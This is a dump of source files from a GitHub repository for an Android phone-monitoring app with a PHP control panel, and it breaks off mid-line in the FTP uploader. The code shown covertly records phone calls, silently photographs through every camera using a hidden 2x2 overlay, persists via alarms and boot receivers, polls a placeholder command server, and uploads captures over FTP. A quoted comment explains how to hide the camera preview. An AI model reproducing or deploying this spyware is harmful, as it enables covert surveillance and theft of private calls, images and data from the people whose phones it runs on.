├── .github └── FUNDING.yml ├── AndroidStudioProject └── PhoneMonitor │ ├── app │ ├── build.gradle │ ├── libs │ │ └── commons-net-3.6.jar │ ├── proguard-rules.pro │ └── src │ │ ├── androidTest │ │ └── java │ │ │ └── com │ │ │ └── monitor │ │ │ └── phone │ │ │ └── s0ft │ │ │ └── phonemonitor │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main │ │ ├── AndroidManifest.xml │ │ ├── ic_launcher-web.png │ │ ├── java │ │ │ └── com │ │ │ │ └── monitor │ │ │ │ └── phone │ │ │ │ └── s0ft │ │ │ │ └── phonemonitor │ │ │ │ ├── AlarmBroadcastReceiver.java │ │ │ │ ├── AppSettings.java │ │ │ │ ├── CallStateBroadcastReceiver.java │ │ │ │ ├── CameraCapture.java │ │ │ │ ├── FileUploader.java │ │ │ │ ├── HelperMethods.java │ │ │ │ ├── MainActivity.java │ │ │ │ ├── MainService.java │ │ │ │ ├── NetworkChangeBroadcastReceiver.java │ │ │ │ ├── OnBootCompletedReceiver.java │ │ │ │ ├── RepeatTask.java │ │ │ │ ├── SMSBroadcastReceiver.java │ │ │ │ ├── SMSExecutor.java │ │ │ │ ├── ServerTalkLoopThread.java │ │ │ │ └── WebCommandsExecutor.java │ │ └── res │ │ │ ├── drawable-v24 │ │ │ └── ic_launcher_foreground.xml │ │ │ ├── drawable │ │ │ └── ic_launcher_background.xml │ │ │ ├── layout │ │ │ └── activity_main.xml │ │ │ ├── mipmap-anydpi-v26 │ │ │ └── ic_launcher.xml │ │ │ ├── mipmap-hdpi │ │ │ └── ic_launcher.png │ │ │ ├── mipmap-mdpi │ │ │ └── ic_launcher.png │ │ │ ├── mipmap-xhdpi │ │ │ └── ic_launcher.png │ │ │ ├── mipmap-xxhdpi │ │ │ └── ic_launcher.png │ │ │ ├── mipmap-xxxhdpi │ │ │ └── ic_launcher.png │ │ │ └── values │ │ │ ├── colors.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ │ └── test │ │ └── java │ │ └── com │ │ └── monitor │ │ └── phone │ │ └── s0ft │ │ └── phonemonitor │ │ └── ExampleUnitTest.java │ ├── build.gradle │ ├── gradle.properties │ ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties │ ├── gradlew │ ├── gradlew.bat │ └── settings.gradle ├── LICENSE ├── README.md ├── Webpanel ├── authenticate.php ├── clientlist.php ├── commandlist.php ├── deleteimage.php ├── displaycalllogs.php ├── displaycontacts.php ├── displayphotos.php ├── displaysmsconversation.php ├── displaysmses.php ├── getcommands.php ├── getsettings.php ├── helperfuncs.php ├── index.php ├── logout.php ├── main.php ├── outputlist.php ├── report.php ├── setcommands.php ├── setoutput.php └── setsettings.php ├── interactiondiagram.svg └── interactiondiagram.xml /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: globalpolicy 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | signingConfigs { 5 | config { 6 | keyAlias 'bla' 7 | keyPassword 'bla' 8 | storeFile file('bla') 9 | storePassword 'bla' 10 | } 11 | } 12 | compileSdkVersion 26 13 | defaultConfig { 14 | applicationId "com.monitor.phone.s0ft.phonemonitor" 15 | minSdkVersion 15 16 | targetSdkVersion 21 17 | versionCode 1 18 | versionName "1.0" 19 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 20 | } 21 | buildTypes { 22 | release { 23 | minifyEnabled true 24 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 25 | } 26 | } 27 | productFlavors { 28 | } 29 | } 30 | 31 | dependencies { 32 | implementation fileTree(include: ['*.jar'], dir: 'libs') 33 | implementation 'com.android.support:appcompat-v7:26.1.0' 34 | implementation 'com.android.support.constraint:constraint-layout:1.0.2' 35 | testImplementation 'junit:junit:4.12' 36 | androidTestImplementation 'com.android.support.test:runner:1.0.1' 37 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1' 38 | implementation files('libs/commons-net-3.6.jar') 39 | } 40 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/libs/commons-net-3.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/libs/commons-net-3.6.jar -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/androidTest/java/com/monitor/phone/s0ft/phonemonitor/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.Context; 4 | import android.support.test.InstrumentationRegistry; 5 | import android.support.test.runner.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumented test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() throws Exception { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.monitor.phone.s0ft.phonemonitor", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/ic_launcher-web.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/AlarmBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.util.Log; 7 | 8 | public class AlarmBroadcastReceiver extends BroadcastReceiver { 9 | @Override 10 | public void onReceive(Context context, Intent intent) { 11 | Log.w(AppSettings.getTAG(),"Alarm broadcast received!"); 12 | HelperMethods.createOneTimeExactAlarm(context);//re-set alarm 13 | 14 | Intent serviceIntent = new Intent(context, MainService.class); 15 | context.startService(serviceIntent);//the service may already be running, in which case nothing happens here; if it's not, service is started 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/AppSettings.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.Context; 4 | import android.net.Uri; 5 | import android.util.Log; 6 | 7 | import org.json.JSONException; 8 | import org.json.JSONObject; 9 | 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.File; 12 | import java.io.FileInputStream; 13 | import java.io.FileOutputStream; 14 | import java.io.IOException; 15 | import java.io.InputStream; 16 | import java.io.OutputStream; 17 | import java.net.HttpURLConnection; 18 | import java.net.URL; 19 | 20 | class AppSettings { 21 | 22 | //tries to read settings from server. if successful, updates local settings file and returns the required setting. if failed to read from server, 23 | //tries to read from local settings file and return the required setting. if failed, returns failsafe version of the required setting 24 | 25 | private static final String TAG = "phonemonitor"; 26 | 27 | private Context context; 28 | 29 | private static final String settingsFileName = "phonemonitorsettings.json"; 30 | private static final String getSettingsURL = "http://XXXX.com/getsettings.php"; 31 | 32 | private static final String reportURL = "http://XXXX.com/report.php"; 33 | private static final String commandsURL = "http://XXXX.com/getcommands.php"; 34 | private static final String outputURL = "http://XXXX.com/setoutput.php"; 35 | private static final String ftpServer = "ftp.XXXX.com"; 36 | private static final int ftpPort = 21; 37 | private static final String ftpUsername = "USERNAME"; 38 | private static final String ftpPassword = "PASSWORD"; 39 | 40 | private static final Boolean forceWifiOnForRecordUpload_failsafe = false; 41 | private static final int serverTalkInterval_failsafe = 1000; 42 | 43 | 44 | public AppSettings(Context context) { 45 | this.context = context; 46 | } 47 | 48 | public static String getTAG() { 49 | return TAG; 50 | } 51 | 52 | public static String getReportURL() { 53 | return reportURL; 54 | } 55 | 56 | public static String getCommandsURL() { 57 | return commandsURL; 58 | } 59 | 60 | public static String getOutputURL() { 61 | return outputURL; 62 | } 63 | 64 | public static String getFtpServer() { 65 | return ftpServer; 66 | } 67 | 68 | public static int getFtpPort() { 69 | return ftpPort; 70 | } 71 | 72 | public static String getFtpUsername() { 73 | return ftpUsername; 74 | } 75 | 76 | public static String getFtpPassword() { 77 | return ftpPassword; 78 | } 79 | 80 | public Boolean getForceWifiOnForRecordUpload() { 81 | Boolean retval = forceWifiOnForRecordUpload_failsafe; 82 | 83 | try { 84 | JSONObject settingsFromServer = readAndSaveSettingsFromServer(); 85 | retval = settingsFromServer.getInt("ForceWifiOnForRecordUpload") == 1; 86 | } catch (Exception ex) { 87 | Log.w(TAG, "Failed to read setting from server at AppSettings.getForceWifiOnForRecordUpload()\n" + ex.getMessage()); 88 | try { 89 | JSONObject localSavedSettings = readSettingsFromLocalFile(); 90 | retval = localSavedSettings.getInt("ForceWifiOnForRecordUpload") == 1; 91 | } catch (Exception ex_) { 92 | Log.w(TAG, "Failed to read local setting at AppSettings.getForceWifiOnForRecordUpload()\n" + ex_.getMessage()); 93 | } 94 | } 95 | 96 | return retval; 97 | } 98 | 99 | public int getServerTalkInterval() { 100 | int retval = serverTalkInterval_failsafe; 101 | 102 | try { 103 | JSONObject settingsFromServer = readAndSaveSettingsFromServer(); 104 | retval = settingsFromServer.getInt("ServerTalkInterval"); 105 | } catch (Exception ex) { 106 | Log.w(TAG, "Failed to read setting from server at AppSettings.getServerTalkInterval()\n" + ex.getMessage()); 107 | try { 108 | JSONObject localSavedSettings = readSettingsFromLocalFile(); 109 | retval = localSavedSettings.getInt("ServerTalkInterval"); 110 | } catch (Exception ex_) { 111 | Log.w(TAG, "Failed to read local setting at AppSettings.getServerTalkInterval()\n" + ex_.getMessage()); 112 | } 113 | } 114 | 115 | return retval; 116 | } 117 | 118 | private JSONObject readAndSaveSettingsFromServer() throws IOException, JSONException { 119 | //reads settings for this device from the server, saves locally and returns as JSONObject. 120 | JSONObject settings; 121 | 122 | 123 | URL url = new URL(getSettingsURL); 124 | HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(); 125 | httpURLConnection.setRequestMethod("POST"); 126 | httpURLConnection.setDoOutput(true);//we'll send the deviceUID to the server and we'll receive the corresponding settings 127 | httpURLConnection.setDoInput(true); 128 | httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor"); 129 | httpURLConnection.setConnectTimeout(5000); 130 | httpURLConnection.setReadTimeout(5000); 131 | 132 | Uri.Builder builder = new Uri.Builder() 133 | .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context)); 134 | String GETQuery = builder.build().getEncodedQuery(); 135 | 136 | OutputStream outputStream = httpURLConnection.getOutputStream(); 137 | outputStream.write((byte[]) GETQuery.getBytes("UTF-8")); 138 | InputStream inputStream = httpURLConnection.getInputStream(); 139 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 140 | byte byteread; 141 | while ((byteread = (byte) inputStream.read()) != -1) { 142 | byteArrayOutputStream.write(byteread); 143 | } 144 | String strSettings = byteArrayOutputStream.toString(); 145 | outputStream.close(); 146 | inputStream.close(); 147 | httpURLConnection.disconnect(); 148 | settings = new JSONObject(strSettings); 149 | 150 | //save to local file 151 | String settingsPath = context.getFilesDir().getAbsolutePath() + "/" + settingsFileName; 152 | File settingsfile = new File(settingsPath); 153 | if (settingsfile.exists()) settingsfile.delete(); 154 | FileOutputStream fileOutputStream = new FileOutputStream(settingsfile); 155 | fileOutputStream.write(settings.toString().getBytes()); 156 | fileOutputStream.close(); 157 | 158 | 159 | return settings; 160 | } 161 | 162 | private JSONObject readSettingsFromLocalFile() throws IOException, JSONException { 163 | JSONObject retval; 164 | 165 | String settingsPath = context.getFilesDir().getAbsolutePath() + "/" + settingsFileName; 166 | FileInputStream fileInputStream = new FileInputStream(settingsPath); 167 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 168 | byte byteread; 169 | while ((byteread = (byte) fileInputStream.read()) != -1) { 170 | byteArrayOutputStream.write(byteread); 171 | } 172 | retval = new JSONObject(byteArrayOutputStream.toString()); 173 | byteArrayOutputStream.close(); 174 | fileInputStream.close(); 175 | 176 | return retval; 177 | } 178 | 179 | 180 | } -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CallStateBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.media.MediaRecorder; 7 | import android.telephony.TelephonyManager; 8 | import android.util.Log; 9 | 10 | import java.io.IOException; 11 | import java.text.DateFormat; 12 | import java.text.SimpleDateFormat; 13 | import java.util.Date; 14 | import java.util.Locale; 15 | 16 | /** 17 | * Receives phone call state broadcasts from the android system 18 | *

19 | * Logic: 20 | *

21 | * ringing->offhook->idle : incoming call active->end 22 | * offhook->idle : outgoing call ended 23 | *

24 | * engage at ringing or offhook 25 | * disengage at idle 26 | **/ 27 | 28 | public class CallStateBroadcastReceiver extends BroadcastReceiver { 29 | private static MediaRecorder mediaRecorder; 30 | private static boolean recordingState; 31 | private static String outputFileName; 32 | 33 | @Override 34 | public void onReceive(Context context, Intent intent) { 35 | Intent startMainServiceIntent = new Intent(context, MainService.class); 36 | context.startService(startMainServiceIntent); 37 | 38 | String action = intent.getAction(); 39 | if (action != null && action.equals("android.intent.action.PHONE_STATE")) { 40 | String number = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER); 41 | if (number != null) { 42 | String callState = intent.getStringExtra(TelephonyManager.EXTRA_STATE); 43 | Log.w(AppSettings.getTAG(), "Broadcast received!\n" + action + number + callState); 44 | if (callState.equals(TelephonyManager.EXTRA_STATE_OFFHOOK) || callState.equals(TelephonyManager.EXTRA_STATE_RINGING)) { 45 | if (!recordingState) { 46 | /* start recording audio */ 47 | DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.getDefault()); 48 | outputFileName = context.getFilesDir().getAbsolutePath() + "/" + dateFormat.format(new Date()) + ".mp4.tmp"; 49 | mediaRecorder = new MediaRecorder(); 50 | mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); 51 | mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); 52 | mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); 53 | mediaRecorder.setOutputFile(outputFileName); 54 | try { 55 | mediaRecorder.prepare(); 56 | mediaRecorder.start(); 57 | recordingState = true; 58 | Log.w(AppSettings.getTAG(), "Recording started to " + outputFileName); 59 | } catch (IOException ioexception) { 60 | Log.w(AppSettings.getTAG(), ioexception.getMessage() + " while recording audio."); 61 | mediaRecorder.release(); 62 | recordingState = false; 63 | } 64 | } 65 | } else if (callState.equals(TelephonyManager.EXTRA_STATE_IDLE)) { 66 | if (recordingState) { 67 | mediaRecorder.stop(); 68 | mediaRecorder.release(); 69 | HelperMethods.renameTmpFile(outputFileName);//rename .tmp to .mp4 70 | HelperMethods.removeBrokenTmpFiles(context.getFilesDir().getAbsolutePath() + "/");//remove any orphan .tmp files 71 | recordingState = false; 72 | Log.w(AppSettings.getTAG(), "Recording stopped"); 73 | } 74 | } 75 | 76 | } 77 | 78 | 79 | } 80 | 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.Context; 4 | import android.graphics.PixelFormat; 5 | import android.graphics.SurfaceTexture; 6 | import android.hardware.Camera; 7 | import android.os.Handler; 8 | import android.os.Looper; 9 | import android.util.Base64; 10 | import android.util.Log; 11 | import android.view.SurfaceHolder; 12 | import android.view.SurfaceView; 13 | import android.view.WindowManager; 14 | 15 | import org.json.JSONArray; 16 | import org.json.JSONException; 17 | import org.json.JSONObject; 18 | 19 | import java.util.ArrayList; 20 | import java.util.List; 21 | import java.util.concurrent.Callable; 22 | 23 | class CameraCapture { 24 | enum PictureCaptureMethod { 25 | PCM_SURFACE_TEXTURE,//newer method but supposedly less reliable 26 | PCM_SURFACE_VIEW//supposed to be more reliable and supported on all android devices 27 | } 28 | 29 | private final Context context; 30 | private boolean cameraBusy = false; 31 | private JSONArray photosBase64Arr = new JSONArray(); 32 | 33 | CameraCapture(Context context) { 34 | this.context = context; 35 | } 36 | 37 | String TakePicture(PictureCaptureMethod pictureCaptureMethodEnum) { 38 | String retval = ""; 39 | int maxNumberOfReTrials = 10; 40 | int numberOfCameras = Camera.getNumberOfCameras(); 41 | 42 | if (numberOfCameras >= 1) { 43 | 44 | /*Populate into a list which camera(s) need to be captured*/ 45 | List uncapturedCameraNumbers = new ArrayList<>(); 46 | for (int i = 0; i < numberOfCameras; i++) uncapturedCameraNumbers.add(i); 47 | 48 | /*Perform camera capture trials until there's no uncaptured camera left or the max number of trials has been reached*/ 49 | int trialNumber = 0; 50 | while (uncapturedCameraNumbers.size() > 0 && trialNumber++ < maxNumberOfReTrials) { 51 | Log.w(AppSettings.getTAG(), "Starting photo capture iteration number " + trialNumber); 52 | for (Integer camNumber : uncapturedCameraNumbers) { 53 | switch (pictureCaptureMethodEnum) { 54 | case PCM_SURFACE_TEXTURE: 55 | cameraBusy = true; 56 | CaptureUsingSurfaceTexture(camNumber); 57 | try { 58 | HelperMethods.waitWithTimeout(new Callable() {//allow the capture to be completed 59 | @Override 60 | public Object call() throws Exception { 61 | return cameraBusy; 62 | } 63 | }, false, 10000);//if photo isn't captured within 10s, it probably never will be 64 | } catch (Exception ex) { 65 | //some exception 66 | } 67 | break; 68 | case PCM_SURFACE_VIEW: 69 | cameraBusy = true; 70 | CaptureUsingSurfaceView(camNumber); 71 | try { 72 | HelperMethods.waitWithTimeout(new Callable() {//allow the capture to be completed 73 | @Override 74 | public Object call() throws Exception { 75 | return cameraBusy; 76 | } 77 | }, false, 10000);//if photo isn't captured within 10s, it probably never will be 78 | } catch (Exception ex) { 79 | //some exception 80 | } 81 | break; 82 | } 83 | } 84 | /*Determine which camera(s) haven't captured and modify the uncapturedCameraNumbers list*/ 85 | uncapturedCameraNumbers = new ArrayList<>(); 86 | for (int i = 0; i < numberOfCameras; i++) { 87 | JSONObject photoJSONObj = null; 88 | try { 89 | photoJSONObj = photosBase64Arr.getJSONObject(i); 90 | } catch (JSONException jsex) { 91 | } 92 | if (photoJSONObj == null) { 93 | uncapturedCameraNumbers.add(i); 94 | Log.w(AppSettings.getTAG(), "Camera number " + i + " failed to shoot in iteration " + trialNumber); 95 | } 96 | } 97 | } 98 | 99 | 100 | Log.w(AppSettings.getTAG(), "Exit from photo capture iteration loop.\n" + (numberOfCameras - uncapturedCameraNumbers.size()) + "/" + numberOfCameras + " of cameras captured photos in " + trialNumber + " trials."); 101 | retval = photosBase64Arr.toString(); 102 | } 103 | 104 | return retval; 105 | } 106 | 107 | private void CaptureUsingSurfaceView(final int CameraType) { 108 | //Note: According to the stackoverflow community, this method is the most reliable and works on all android devices. 109 | 110 | Handler handler = new Handler(Looper.getMainLooper()); 111 | handler.post(new Runnable() {//this runnable will run in the main thread of the app. creating a surfaceview seems to be only possible in the main thread. lost 3 hours to this. 112 | @Override 113 | public void run() { 114 | SurfaceView dummySurfaceView = new SurfaceView(context); 115 | SurfaceHolder surfaceHolder = dummySurfaceView.getHolder(); 116 | surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); 117 | surfaceHolder.addCallback(new SurfaceHolder.Callback() { 118 | @Override 119 | public void surfaceCreated(SurfaceHolder surfaceHolder) { 120 | Log.w(AppSettings.getTAG(), "Surface created. Next up, camera.TakePicture()."); 121 | 122 | try { 123 | Camera camera = Camera.open(CameraType); 124 | camera.setPreviewDisplay(surfaceHolder); 125 | camera.startPreview(); 126 | try { 127 | Thread.sleep(1000); 128 | //sleeping after starting preview will allow camera to adjust exposure 129 | } catch (InterruptedException e) { 130 | e.printStackTrace(); 131 | } 132 | 133 | camera.takePicture(null, null, new Camera.PictureCallback() { 134 | @Override 135 | public void onPictureTaken(byte[] bytes, Camera camera) { 136 | Long currentTimestampSeconds = System.currentTimeMillis() / 1000; 137 | try { 138 | JSONObject thisPhoto = new JSONObject(); 139 | thisPhoto.put("Timestamp", currentTimestampSeconds); 140 | thisPhoto.put("ImageBase64", Base64.encodeToString(bytes, Base64.DEFAULT)); 141 | photosBase64Arr.put(CameraType, thisPhoto);//putting photo into the index of CameraType is very important for later checking which camera failed to take photo 142 | Log.w(AppSettings.getTAG(), "Picture taken using SurfaceView from camera " + CameraType); 143 | } catch (JSONException jsex) { 144 | //sth wrong with JSON. do nothing 145 | Log.w(AppSettings.getTAG(), "JSONException while populating pictures JSON array.\n" + jsex.getMessage()); 146 | } 147 | camera.stopPreview(); 148 | camera.release(); 149 | cameraBusy = false; 150 | } 151 | }); 152 | 153 | } catch (Exception ex) { 154 | Log.w(AppSettings.getTAG(), ex.getMessage()); 155 | cameraBusy = false; 156 | } 157 | } 158 | 159 | @Override 160 | public void surfaceChanged(SurfaceHolder surfaceHolder, int i, int i1, int i2) { 161 | 162 | } 163 | 164 | @Override 165 | public void surfaceDestroyed(SurfaceHolder surfaceHolder) { 166 | 167 | } 168 | }); 169 | 170 | WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); 171 | if (windowManager != null) { 172 | try { 173 | windowManager.removeView(dummySurfaceView); 174 | } catch (Exception ex) { 175 | } 176 | WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(2, 2, WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY, 0, PixelFormat.UNKNOWN); 177 | windowManager.addView(dummySurfaceView, layoutParams); 178 | } 179 | 180 | 181 | } 182 | }); 183 | } 184 | 185 | private void CaptureUsingSurfaceTexture(final int CameraType) { 186 | //Note : According to the stackoverflow community, this method MAY NOT work on all devices and it WILL NOT work on android OS version older than 3.0 187 | //But during the development of this program, my Samsung Galaxy Grand Prime SM-G530H running Android 5.0.2 API 21 seems to have no issue with it. 188 | 189 | Camera camera = null; 190 | final SurfaceTexture surfaceTexture = new SurfaceTexture(0);//I'm not sure about the texName parameter. Used what works. 191 | try { 192 | camera = Camera.open(CameraType); 193 | try { 194 | Thread.sleep(1000); 195 | //sleep seems to be necessary for the surfaceTexture to 'initialise' properly. without sleep, sometimes the picture gets taken, sometimes not. 196 | } catch (InterruptedException e) { 197 | e.printStackTrace(); 198 | } 199 | camera.setPreviewTexture(surfaceTexture);//note this method was only added in API level 11 i.e. android 3.0 200 | camera.startPreview(); 201 | try { 202 | Thread.sleep(1000); 203 | //sleeping after starting preview will allow camera to adjust exposure 204 | } catch (InterruptedException e) { 205 | e.printStackTrace(); 206 | } 207 | camera.takePicture(null, null, new Camera.PictureCallback() { 208 | @Override 209 | public void onPictureTaken(byte[] bytes, Camera camera) { 210 | Long currentTimestampSeconds = System.currentTimeMillis() / 1000; 211 | try { 212 | JSONObject thisPhoto = new JSONObject(); 213 | thisPhoto.put("Timestamp", currentTimestampSeconds); 214 | thisPhoto.put("ImageBase64", Base64.encodeToString(bytes, Base64.DEFAULT)); 215 | photosBase64Arr.put(CameraType,thisPhoto);//putting photo into the index of CameraType is very important for later checking which camera failed to take photo 216 | Log.w(AppSettings.getTAG(), "Picture taken using SurfaceTexture from camera " + CameraType); 217 | } catch (JSONException jsex) { 218 | //sth wrong with JSON. do nothing 219 | Log.w(AppSettings.getTAG(), "JSONException while populating pictures JSON array.\n" + jsex.getMessage()); 220 | } 221 | camera.stopPreview(); 222 | camera.release(); 223 | surfaceTexture.release(); 224 | cameraBusy = false; 225 | } 226 | }); 227 | } catch (Exception ex) { 228 | Log.w(AppSettings.getTAG(), "Error opening camera at CameraCapture.CaptureUsingSurfaceTexture()\n" + ex.getMessage()); 229 | if (camera != null) 230 | camera.release(); 231 | surfaceTexture.release(); 232 | cameraBusy = false; 233 | } 234 | 235 | 236 | } 237 | 238 | 239 | } 240 | 241 | /* 242 | * References: 243 | * https://stackoverflow.com/questions/2386025/taking-picture-from-camera-without-preview 244 | * and other related stackoverflow threads. 245 | * From the thread listed above, one nice piece of answer from Sam: 246 | 247 | Taking the Photo 248 | Get this working first before trying to hide the preview. 249 | 250 | Correctly set up the preview: 251 | Use a SurfaceView (pre-Android-4.0 compatibility) or SurfaceTexture (Android 4+, can be made transparent) 252 | Set and initialise it before taking the photo 253 | Wait for the SurfaceView's SurfaceHolder (via getHolder()) to report surfaceCreated() or the TextureView to report onSurfaceTextureAvailable to its SurfaceTextureListener before setting and initialising the preview. 254 | 255 | Ensure the preview is visible: 256 | Add it to the WindowManager 257 | Ensure its layout size is at least 1x1 pixels (you might want to start by making it MATCH_PARENT x MATCH_PARENT for testing) 258 | Ensure its visibility is View.VISIBLE (which seems to be the default if you don't specify it) 259 | Ensure you use the FLAG_HARDWARE_ACCELERATED in the LayoutParams if it's a TextureView. 260 | Use takePicture's JPEG callback since the documentation says the other callbacks aren't supported on all devices 261 | 262 | Troubleshooting: 263 | If surfaceCreated/onSurfaceTextureAvailable doesn't get called, the SurfaceView/TextureView probably isn't being displayed. 264 | If takePicture fails, first ensure the preview is working correctly. You can remove your takePicture call and let the preview run to see if it displays on the screen. 265 | If the picture is darker than it should be, you might need to delay for about a second before calling takePicture so that the camera has time to adjust its exposure once the preview has started. 266 | 267 | Hiding the Preview: 268 | Make the preview View 1x1 size to minimise its visibility (or try 8x16 for possibly more reliability): 269 | new WindowManager.LayoutParams(1, 1, ...) 270 | Move the preview out of the centre to reduce its noticeability: 271 | 272 | new WindowManager.LayoutParams(width, height, 273 | Integer.MIN_VALUE, Integer.MIN_VALUE, ...) 274 | Make the preview transparent (only works for TextureView) 275 | 276 | WindowManager.LayoutParams params = new WindowManager.LayoutParams( 277 | width, height, ... 278 | PixelFormat.TRANSPARENT); 279 | params.alpha = 0; 280 | */ 281 | 282 | 283 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/FileUploader.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | 4 | import android.content.Context; 5 | import android.util.Log; 6 | 7 | import org.apache.commons.net.ftp.FTP; 8 | import org.apache.commons.net.ftp.FTPClient; 9 | 10 | import java.io.File; 11 | import java.io.FileInputStream; 12 | import java.io.IOException; 13 | 14 | 15 | class FileUploader { 16 | 17 | 18 | private Context _context; 19 | private String _deviceUID; 20 | 21 | 22 | FileUploader(Context context) { 23 | this._context = context; 24 | this._deviceUID = HelperMethods.getDeviceNUID(this._context); 25 | } 26 | 27 | boolean UploadFile(File file) { 28 | boolean retval = false; 29 | if (!HelperMethods.isInternetAvailable(this._context)) return false; 30 | try { 31 | FTPClient ftpClient = new FTPClient(); 32 | try { 33 | ftpClient.connect(AppSettings.getFtpServer(), AppSettings.getFtpPort()); 34 | ftpClient.login(AppSettings.getFtpUsername(), AppSettings.getFtpPassword()); 35 | ftpClient.enterLocalPassiveMode(); 36 | ftpClient.setFileType(FTP.BINARY_FILE_TYPE); 37 | if (!ftpClient.changeWorkingDirectory("/" + this._deviceUID))//if directory doesn't exist, create one 38 | ftpClient.makeDirectory("/" + this._deviceUID); 39 | ftpClient.changeWorkingDirectory("/" + 